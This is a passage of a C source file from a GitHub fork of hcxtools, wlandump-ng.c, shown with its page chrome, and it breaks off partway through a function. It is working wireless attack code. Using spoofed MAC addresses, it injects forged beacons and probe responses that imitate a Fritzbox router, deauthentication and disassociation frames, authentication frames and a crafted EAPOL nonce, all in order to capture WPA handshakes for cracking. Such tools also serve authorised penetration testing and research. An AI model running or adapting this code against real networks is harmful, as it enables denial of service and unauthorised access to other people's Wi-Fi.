forked from ZerBea/hcxtools
-
Notifications
You must be signed in to change notification settings - Fork 0
/
wlandump-ng.c
executable file
·1973 lines (1760 loc) · 55.1 KB
/
wlandump-ng.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#define _GNU_SOURCE
#include <ctype.h>
#include <dirent.h>
#include <fcntl.h>
#include <ftw.h>
#include <libgen.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <utime.h>
#include <time.h>
#include <pcap.h>
#include <linux/wireless.h>
#include "common.h"
#ifdef DOGPIOSUPPORT
#include <wiringPi.h>
#endif
/*===========================================================================*/
/* Definitionen */
#define TT_SIGUSR1 (SIGUSR1)
#define TT_SIGUSR2 (SIGUSR2)
#define TIME_INTERVAL_1S 5
#define TIME_INTERVAL_1NS 0
#define TIME_INTERVAL_2S 5
#define TIME_INTERVAL_2NS 0
#define APLISTESIZEMAX 1024
#define SENDPACKETSIZEMAX 0x1ff
#define STATUSLINES 0
#define DEAUTHMAXCOUNT 10000
#define DISASSOCMAXCOUNT 1000
#define WPA_M1 0b00000001
#define WPA_M1W 0b00010001
#define WPA_M2 0b00000010
#define WPA_M2W 0b00100010
#define WPA_M3 0b00000100
#define WPA_M4 0b00001000
#define XTENDED_EAP 0b00000001
#define XTENDED_IPV4 0b00000010
#define XTENDED_IPV6 0b00000100
void set_timer(timer_t timerid, int seconds, long int nanoseconds);
struct aplist
{
long int tv_sec;
adr_t addr_ap;
int deauthcount;
int disassoccount;
int handshake;
int xtendedflag;
uint8_t essid_len;
uint8_t essid[32];
};
typedef struct aplist apl_t;
#define APL_SIZE (sizeof(apl_t))
struct claplist
{
long int tv_sec;
adr_t addr_sta;
adr_t addr_ap;
uint8_t essid_len;
uint8_t essid[32];
};
typedef struct claplist clapl_t;
#define CLAPL_SIZE (sizeof(clapl_t))
/*===========================================================================*/
/* globale variablen */
pcap_t *pcapin = NULL;
pcap_dumper_t *pcapout = NULL;
uint8_t chptr = 0;
uint8_t chlistende = 13;
int statuslines = STATUSLINES;
uint16_t mysequencenr = 1;
int staytime = TIME_INTERVAL_2S;
uint8_t modepassiv = false;
uint8_t ipv46 = false;
uint8_t wepdata = false;
int deauthmaxcount = DEAUTHMAXCOUNT;
int disassocmaxcount = DISASSOCMAXCOUNT;
uint8_t resetdedicount = false;
uint8_t lastbeaconing = false;
int internalbeacons = 0;
int internalproberesponses = 0;
int internalproberequests = 0;
int internalassociationrequests = 0;
int internalreassociationrequests = 0;
int internalm1 = 0;
int internalm2 = 0;
int externalm1 = 0;
int externalm2 = 0;
int externalm3 = 0;
int externalm4 = 0;
int internalpcaperrors = 0;
int aplistesize = APLISTESIZEMAX;
unsigned long long int myoui;
unsigned long long int mynic;
unsigned long long int mymac;
timer_t timer1;
timer_t timer2;
uint8_t nullmac[6];
uint8_t broadcastmac[6];
adr_t myaddr;
apl_t *beaconliste = NULL;
clapl_t *proberesponseliste = NULL;
clapl_t *proberequestliste = NULL;
clapl_t *associationrequestliste = NULL;
clapl_t *reassociationrequestliste = NULL;
char *interfacename = NULL;
/*===========================================================================*/
/* Konstante */
const int myvendor[] =
{
0x00006c, 0x000101, 0x00054f, 0x000578, 0x000b18, 0x000bf4, 0x000c53, 0x000d58,
0x000da7, 0x000dc2, 0x000df2, 0x000e17, 0x000e22, 0x000e2a, 0x000eef, 0x000f09,
0x0016b4, 0x001761, 0x001825, 0x002067, 0x00221c, 0x0022f1, 0x00234a, 0x00238c,
0x0023f7, 0x002419, 0x0024fb, 0x00259d, 0x0025df, 0x00269f, 0x005047, 0x005079,
0x0050c7, 0x0084ed, 0x0086a0, 0x00a054, 0x00a085, 0x00bb3a, 0x00cb00, 0x0418b6,
0x0c8112, 0x100000, 0x10ae60, 0x10b713, 0x1100aa, 0x111111, 0x140708, 0x146e0a,
0x18421d, 0x1cf4ca, 0x205b2a, 0x20d160, 0x24336c, 0x24bf74, 0x28ef01, 0x3cb87a,
0x487604, 0x48f317, 0x50e14a, 0x544e45, 0x580943, 0x586ed6, 0x5c6b4f, 0x609620,
0x68e166, 0x706f81, 0x78f944, 0x7ce4aa, 0x8c8401, 0x8ce748, 0x906f18, 0x980ee4,
0x9c93e4, 0xa468bc, 0xa4a6a9, 0xacde48, 0xb025aa, 0xb0ece1, 0xb0febd, 0xb4e1eb,
0xc02250, 0xc8aacc, 0xd85dfb, 0xdc7014, 0xe00db9, 0xe0cb1d, 0xe80410, 0xf04f7c,
0xf0a225, 0xfcc233
};
#define MYVENDOR_SIZE sizeof(myvendor)
const uint8_t hdradiotap[] =
{
0x00, 0x00, // <-- radiotap version
0x0c, 0x00, // <- radiotap header length
0x04, 0x80, 0x00, 0x00, // <-- bitmap
0x02, // <-- rate
0x00, // <-- padding for natural alignment
0x18, 0x00, // <-- TX flags
};
#define HDRRT_SIZE sizeof(hdradiotap)
uint8_t authenticationframe[] =
{
0x00, 0x00, 0x02, 0x00, 0x00, 0x00
};
#define AUTHENTICATION_SIZE sizeof(authenticationframe)
/* Fritzbox 3272 Beacon */
uint8_t beaconfb3272[] =
{
0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x0c, 0x12, 0x18, 0x24,
0x03, 0x01, 0x0b, //channel
0x05, 0x04, 0x00, 0x01, 0x00, 0x00,
0x07, 0x06, 0x44, 0x45, 0x20, 0x01, 0x0d, 0x14,
0x2a, 0x01, 0x00,
0x32, 0x04, 0x30, 0x48, 0x60, 0x6c,
0x2d, 0x1a, 0xef, 0x11, 0x1b, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x04, 0x06, 0xe6, 0x47, 0x0d, 0x00,
0x3d, 0x16, 0x0b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4a, 0x0e, 0x14, 0x00, 0x0a, 0x00, 0x2c, 0x01, 0xc8, 0x00, 0x14, 0x00, 0x05, 0x00, 0x19, 0x00,
0x7f, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0xdd, 0x18, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x01, 0x00, 0x00, 0x03, 0xa4, 0x00, 0x00, 0x27, 0xa4, 0x00, 0x00, 0x42, 0x43, 0x5e, 0x00, 0x62, 0x32, 0x2f, 0x00,
0xdd, 0x09, 0x00, 0x03, 0x7f, 0x01, 0x01, 0x00, 0x00, 0xff, 0x7f,
0xdd, 0x0c, 0x00, 0x04, 0x0e, 0x01, 0x01, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x30, 0x14, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x02, 0x00, 0x00,
0xdd, 0x18, 0x00, 0x50, 0xf2, 0x04, 0x10, 0x4a, 0x00, 0x01, 0x10, 0x10, 0x44, 0x00, 0x01, 0x02, 0x10, 0x49, 0x00, 0x06, 0x00, 0x37, 0x2a, 0x00, 0x01, 0x20
};
#define FB3272BEACON_SIZE sizeof(beaconfb3272)
/* Fritzbox 3272 Proberesponse*/
uint8_t proberesponsefb3272[] =
{
0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x0c, 0x12, 0x18, 0x24,
0x03, 0x01, 0x0b,
0x07, 0x06, 0x44, 0x45, 0x20, 0x01, 0x0d, 0x14,
0x2a, 0x01, 0x00,
0x32, 0x04, 0x30, 0x48, 0x60, 0x6c,
0x2d, 0x1a, 0xef, 0x11, 0x1b, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x04, 0x06, 0xe6, 0x47, 0x0d, 0x00,
0x3d, 0x16, 0x0b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4a, 0x0e, 0x14, 0x00, 0x0a, 0x00, 0x2c, 0x01, 0xc8, 0x00, 0x14, 0x00, 0x05, 0x00, 0x19, 0x00,
0x7f, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0xdd, 0x18, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x01, 0x00, 0x00, 0x03, 0xa4, 0x00, 0x00, 0x27, 0xa4, 0x00, 0x00, 0x42, 0x43, 0x5e, 0x00, 0x62, 0x32, 0x2f, 0x00,
0xdd, 0x09, 0x00, 0x03, 0x7f, 0x01, 0x01, 0x00, 0x00, 0xff, 0x7f,
0xdd, 0x0c, 0x00, 0x04, 0x0e, 0x01, 0x01, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x30, 0x14, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x02, 0x00, 0x00,
0xdd, 0x6f, 0x00, 0x50, 0xf2, 0x04, 0x10, 0x4a, 0x00, 0x01, 0x10, 0x10, 0x44, 0x00, 0x01, 0x02, 0x10, 0x3b, 0x00, 0x01, 0x03, 0x10, 0x47, 0x00, 0x10, 0xe1, 0x88, 0x94,
0x6e, 0x88, 0x55, 0xf6, 0xb5, 0xef, 0xef, 0x34, 0x81, 0xc4, 0xcb, 0xb5, 0x30, 0x10, 0x21, 0x00, 0x03, 0x41, 0x56, 0x4d, 0x10, 0x23, 0x00, 0x04, 0x46, 0x42, 0x6f, 0x78,
0x10, 0x24, 0x00, 0x04, 0x30, 0x30, 0x30, 0x30, 0x10, 0x42, 0x00, 0x04, 0x30, 0x30, 0x30, 0x30, 0x10, 0x54, 0x00, 0x08, 0x00, 0x06, 0x00, 0x50, 0xf2, 0x04, 0x00, 0x01,
0x10, 0x11, 0x00, 0x04, 0x46, 0x42, 0x6f, 0x78, 0x10, 0x08, 0x00, 0x02, 0x23, 0x88, 0x10, 0x3c, 0x00, 0x01, 0x01, 0x10, 0x49, 0x00, 0x06, 0x00, 0x37, 0x2a, 0x00, 0x01,
0x20
};
#define FB3272PROBERESPONSE_SIZE sizeof(proberesponsefb3272)
const uint8_t associationresponse[] =
{
0x01, 0x08, 0x82, 0x84, 0x8b, 0x0c, 0x12, 0x96, 0x18, 0x24,
0x32, 0x04, 0x30, 0x48, 0x60, 0x6c,
0x2d, 0x1a, 0xaf, 0x01, 0x1b, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x04, 0x06, 0xe6, 0x47, 0x0d, 0x00,
0x3d, 0x16, 0x0b, 0x0f, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4a, 0x0e, 0x14, 0x00, 0x0a, 0x00, 0x2c, 0x01, 0xc8, 0x00, 0x14, 0x00, 0x05, 0x00, 0x19, 0x00,
0x7f, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0xdd, 0x18, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x01, 0x00, 0x00, 0x03, 0xa4, 0x00, 0x00, 0x27, 0xa4, 0x00, 0x00, 0x42, 0x43, 0x5e, 0x00, 0x62, 0x32, 0x2f, 0x00
};
#define ASSOCRESP_SIZE sizeof(associationresponse)
const uint8_t anonce[] =
{
0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x88, 0x8e,
0x02, 0x03, 0x00, 0x5f, 0x02, 0x00, 0x8a, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf7,
0x00, 0x68, 0x20, 0x09, 0xe2, 0x1f, 0x0e, 0xbc, 0xe5, 0x62, 0xb9, 0x06, 0x5b, 0x54, 0x89, 0x79,
0x09, 0x9a, 0x65, 0x52, 0x86, 0xc0, 0x77, 0xea, 0x28, 0x2f, 0x6a, 0xaf, 0x13, 0x8e, 0x50, 0xcd,
0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00
};
#define ANONCE_SIZE sizeof(anonce)
const uint8_t requestidentity[] =
{
0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x88, 0x8e,
0x02, 0x00, 0x00, 0x05, 0x01, 0xb8, 0x00, 0x05, 0x01
};
#define REQUESTIDENTITY_SIZE sizeof(requestidentity)
/*===========================================================================*/
bool initgloballists()
{
struct timeval starttimeval;
gettimeofday (&starttimeval, NULL);
memset(&nullmac, 0, 6);
memset(&broadcastmac, 0xff, 6);
mynic = rand() & 0xffffff;
myoui = myvendor[rand() % ((MYVENDOR_SIZE / sizeof(int))-1)];
mymac = (myoui << 24) | mynic;
memset(&myaddr, 0, 6);
myaddr.addr[5] = mynic & 0xff;
myaddr.addr[4] = (mynic >> 8) & 0xff;
myaddr.addr[3] = (mynic >> 16) & 0xff;
myaddr.addr[2] = myoui & 0xff;
myaddr.addr[1] = (myoui >> 8) & 0xff;
myaddr.addr[0] = (myoui >> 16) & 0xff;
if((beaconliste = malloc((aplistesize +1) *APL_SIZE)) == NULL)
return false;
memset(beaconliste, 0, (aplistesize +1) *APL_SIZE);
if((proberesponseliste = malloc((aplistesize +1) *CLAPL_SIZE)) == NULL)
return false;
memset(proberesponseliste, 0, (aplistesize +1) *CLAPL_SIZE);
if((proberequestliste = malloc((aplistesize +1) *CLAPL_SIZE)) == NULL)
return false;
memset(proberequestliste, 0, (aplistesize +1) *CLAPL_SIZE);
if((associationrequestliste = malloc((aplistesize +1) *CLAPL_SIZE)) == NULL)
return false;
memset(associationrequestliste, 0, (aplistesize +1) *CLAPL_SIZE);
if((reassociationrequestliste = malloc((aplistesize +1) *CLAPL_SIZE)) == NULL)
return false;
memset(reassociationrequestliste, 0, (aplistesize +1) *CLAPL_SIZE);
return true;
}
/*===========================================================================*/
void printstatus1()
{
int c, m, l;
apl_t *zeiger = beaconliste;
char essidstr[34];
char *hiddenstr = "<hidden ssid>";
printf( "\033[H\033[J"
"interface................................: %s\n"
"internal pcap errors.....................: %d\n"
"interface channel/hop timer..............: %02d/%d\n"
"private-mac (oui/nic)....................: %06llx%06llx\n"
"deauthentication/disassociation count....: %d/%d\n"
"current/maximum ringbuffer entries.......: %d/%d\n"
"proberequests/proberesponses.............: %d/%d\n"
"associationrequests/reassociationrequests: %d/%d\n"
"transmitted m1/received appropriate m2...: %d/%d\n"
"received regular m1/m2/m3/m4.............: %d/%d/%d/%d\n"
"\n"
"mac_ap hs xe essid (countdown until next deauthentication/disassociation)\n"
"-------------------------------------------------------------------------------\n",
interfacename, internalpcaperrors, channellist[chptr], staytime, myoui, mynic, deauthmaxcount, disassocmaxcount, internalbeacons,
aplistesize, internalproberequests, internalproberesponses, internalassociationrequests, internalreassociationrequests,
internalm1, internalm2, externalm1, externalm2, externalm3, externalm4);
for(c = 0; c < statuslines; c++)
{
if(memcmp(&nullmac, zeiger->addr_ap.addr, 6) == 0)
return;
memset(essidstr, 0, 34);
memcpy(&essidstr, zeiger->essid, zeiger->essid_len);
l = zeiger->essid_len;
if((essidstr[0] == 0) || (zeiger->essid_len == 0))
{
strcpy(essidstr, hiddenstr);
l = 13;
}
if(zeiger->handshake == 0x03)
printf("\x1B[31m%02x", zeiger->addr_ap.addr[0]);
else if(zeiger->handshake == 0x07)
printf("\x1B[35m%02x", zeiger->addr_ap.addr[0]);
else if(zeiger->handshake == 0x0f)
printf("\x1B[33m%02x", zeiger->addr_ap.addr[0]);
else if((zeiger->handshake & 0x33) == 0x33)
printf("\x1B[32m%02x", zeiger->addr_ap.addr[0]);
else
printf("%02x", zeiger->addr_ap.addr[0]);
for (m = 1; m < 6; m++)
printf("%02x", zeiger->addr_ap.addr[m]);
printf(" %02x %02x ", zeiger->handshake, zeiger->xtendedflag);
for(m = 0; m < l; m++)
{
if((essidstr[m] >= 0x20) && (essidstr[m] <= 0x7e))
printf("%c", essidstr[m]);
else
printf("\\%02x", essidstr[m] &0xff);
}
printf(" (%d/%d) \x1B[0m\n", zeiger->deauthcount, zeiger->disassoccount);
zeiger++;
}
return;
}
/*===========================================================================*/
void nextmac()
{
mynic++;
myaddr.addr[5] = mynic & 0xff;
myaddr.addr[4] = (mynic >> 8) & 0xff;
myaddr.addr[3] = (mynic >> 16) & 0xff;
return;
}
/*===========================================================================*/
void sendbeacon(uint8_t *macaddr2, uint8_t essid_len, uint8_t *essid)
{
struct timeval tv1;
int pcapstatus;
mac_t grundframe;
beacon_t beacontsframe;
essid_t essidframe;
uint8_t sendpacket[SENDPACKETSIZEMAX];
if(modepassiv == true)
return;
memset(&grundframe, 0, MAC_SIZE_NORM);
grundframe.type = MAC_TYPE_MGMT;
grundframe.subtype = MAC_ST_BEACON;
grundframe.duration = 0;
memcpy(grundframe.addr1.addr, &broadcastmac, 6);
memcpy(grundframe.addr2.addr, macaddr2, 6);
memcpy(grundframe.addr3.addr, macaddr2, 6);
grundframe.sequence = htole16(mysequencenr++ << 4);
gettimeofday( &tv1, NULL );
beacontsframe.beacon_timestamp = htole64(tv1.tv_sec*1000000UL + tv1.tv_usec);
beacontsframe.beacon_interval = 0x0064;
beacontsframe.beacon_capabilities = 0x431;
essidframe.info_essid = 0;
essidframe.info_essid_len = essid_len;
memcpy(sendpacket, hdradiotap, HDRRT_SIZE);
memcpy(sendpacket +HDRRT_SIZE, &grundframe, MAC_SIZE_NORM);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM, &beacontsframe, BEACONINFO_SIZE);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE, &essidframe, ESSIDINFO_SIZE);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE +ESSIDINFO_SIZE, essid, essid_len);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE +ESSIDINFO_SIZE +essid_len, beaconfb3272, FB3272BEACON_SIZE);
sendpacket[HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE +ESSIDINFO_SIZE +essid_len +12] = channellist[chptr];
pcapstatus = pcap_inject(pcapin, &sendpacket, +HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE +ESSIDINFO_SIZE +essid_len +FB3272BEACON_SIZE);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending beacon %s \n", pcap_geterr(pcapin));
internalpcaperrors++;
}
mysequencenr++;
if(mysequencenr > 9999)
mysequencenr = 1;
return;
}
/*===========================================================================*/
void senddeauth(uint8_t dart, uint8_t reason, uint8_t *macaddr1, uint8_t *macaddr2)
{
int pcapstatus;
mac_t grundframe;
uint8_t sendpacket[SENDPACKETSIZEMAX];
if(modepassiv == true)
return;
if((memcmp(macaddr1, &myaddr, 3) == 0) || (memcmp(macaddr2, &myaddr, 3) == 0))
return;
memset(&grundframe, 0, MAC_SIZE_NORM);
grundframe.type = MAC_TYPE_MGMT;
grundframe.subtype = dart;
grundframe.duration = 0x013a;
memcpy(grundframe.addr1.addr, macaddr1, 6);
memcpy(grundframe.addr2.addr, macaddr2, 6);
memcpy(grundframe.addr3.addr, macaddr2, 6);
grundframe.sequence = htole16(mysequencenr++ << 4);
memcpy(sendpacket, hdradiotap, HDRRT_SIZE);
memcpy(sendpacket + HDRRT_SIZE, &grundframe, MAC_SIZE_NORM);
sendpacket[HDRRT_SIZE +MAC_SIZE_NORM] = reason;
sendpacket[HDRRT_SIZE +MAC_SIZE_NORM +1] = 0;
pcapstatus = pcap_inject(pcapin, &sendpacket, HDRRT_SIZE + MAC_SIZE_NORM +2);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending deauthentication %s \n", pcap_geterr(pcapin));
}
grundframe.retry = 1;
memcpy(sendpacket +sizeof(hdradiotap), &grundframe, MAC_SIZE_NORM);
pcapstatus = pcap_inject(pcapin, &sendpacket, HDRRT_SIZE + MAC_SIZE_NORM +2);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending retry deauthentication %s \n", pcap_geterr(pcapin));
internalpcaperrors++;
}
mysequencenr++;
if(mysequencenr > 9999)
mysequencenr = 1;
return ;
}
/*===========================================================================*/
void sendproberesponse(uint8_t *macaddr1, uint8_t *macaddr2, uint8_t essid_len, uint8_t **essid)
{
struct timeval tv1;
int pcapstatus;
mac_t grundframe;
beacon_t beacontsframe;
essid_t essidframe;
uint8_t sendpacket[SENDPACKETSIZEMAX];
if(modepassiv == true)
return;
memset(&grundframe, 0, MAC_SIZE_NORM);
grundframe.type = MAC_TYPE_MGMT;
grundframe.subtype = MAC_ST_PROBE_RESP;
grundframe.duration = 0x013a;
memcpy(grundframe.addr1.addr, macaddr1, 6);
memcpy(grundframe.addr2.addr, macaddr2, 6);
memcpy(grundframe.addr3.addr, macaddr2, 6);
grundframe.sequence = htole16(mysequencenr++ << 4);
gettimeofday( &tv1, NULL );
beacontsframe.beacon_timestamp = htole64(tv1.tv_sec*1000000UL + tv1.tv_usec);
beacontsframe.beacon_interval = 0x0064;
beacontsframe.beacon_capabilities = 0x431;
essidframe.info_essid = 0;
essidframe.info_essid_len = essid_len;
memcpy(sendpacket, hdradiotap, HDRRT_SIZE);
memcpy(sendpacket +HDRRT_SIZE, &grundframe, MAC_SIZE_NORM);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM, &beacontsframe, BEACONINFO_SIZE);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE, &essidframe, ESSIDINFO_SIZE);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE +ESSIDINFO_SIZE, essid, essid_len);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE +ESSIDINFO_SIZE +essid_len, proberesponsefb3272, FB3272PROBERESPONSE_SIZE);
sendpacket[HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE +ESSIDINFO_SIZE +essid_len +12] = channellist[chptr];
pcapstatus = pcap_inject(pcapin, &sendpacket, +HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE +ESSIDINFO_SIZE +essid_len +FB3272PROBERESPONSE_SIZE);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending probe response %s \n", pcap_geterr(pcapin));
internalpcaperrors++;
}
mysequencenr++;
if(mysequencenr > 9999)
mysequencenr = 1;
return;
}
/*===========================================================================*/
void sendauthentication(uint8_t *macaddr1, uint8_t *macaddr2)
{
mac_t grundframe;
int pcapstatus;
uint8_t sendpacket[SENDPACKETSIZEMAX];
if(modepassiv == true)
return;
memset(&grundframe, 0, MAC_SIZE_NORM);
grundframe.type = MAC_TYPE_MGMT;
grundframe.subtype = MAC_ST_AUTH;
grundframe.duration = 0x013a;
memcpy(grundframe.addr1.addr, macaddr1, 6);
memcpy(grundframe.addr2.addr, macaddr2, 6);
memcpy(grundframe.addr3.addr, macaddr2, 6);
grundframe.sequence = htole16(mysequencenr++ << 4);
memcpy(sendpacket, hdradiotap, HDRRT_SIZE);
memcpy(sendpacket +HDRRT_SIZE, &grundframe, MAC_SIZE_NORM);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM, &authenticationframe, AUTHENTICATION_SIZE);
pcapstatus = pcap_inject(pcapin, &sendpacket, HDRRT_SIZE +MAC_SIZE_NORM +AUTHENTICATION_SIZE);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending authentication %s \n", pcap_geterr(pcapin));
internalpcaperrors++;
}
mysequencenr++;
if(mysequencenr > 9999)
mysequencenr = 1;
return;
}
/*===========================================================================*/
void sendacknowledgement(uint8_t *macaddr1)
{
mac_t grundframe;
int pcapstatus;
uint8_t sendpacket[SENDPACKETSIZEMAX];
if(modepassiv == true)
return;
memset(&grundframe, 0, MAC_SIZE_NORM);
grundframe.type = MAC_TYPE_CTRL;
grundframe.subtype = MAC_ST_ACK;
grundframe.duration = 0;
memcpy(grundframe.addr1.addr, macaddr1, 6);
memcpy(sendpacket, hdradiotap, HDRRT_SIZE);
memcpy(sendpacket +HDRRT_SIZE, &grundframe, MAC_SIZE_ACK);
pcapstatus = pcap_inject(pcapin, &sendpacket, HDRRT_SIZE +MAC_SIZE_ACK);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending acknowledgement %s \n", pcap_geterr(pcapin));
internalpcaperrors++;
}
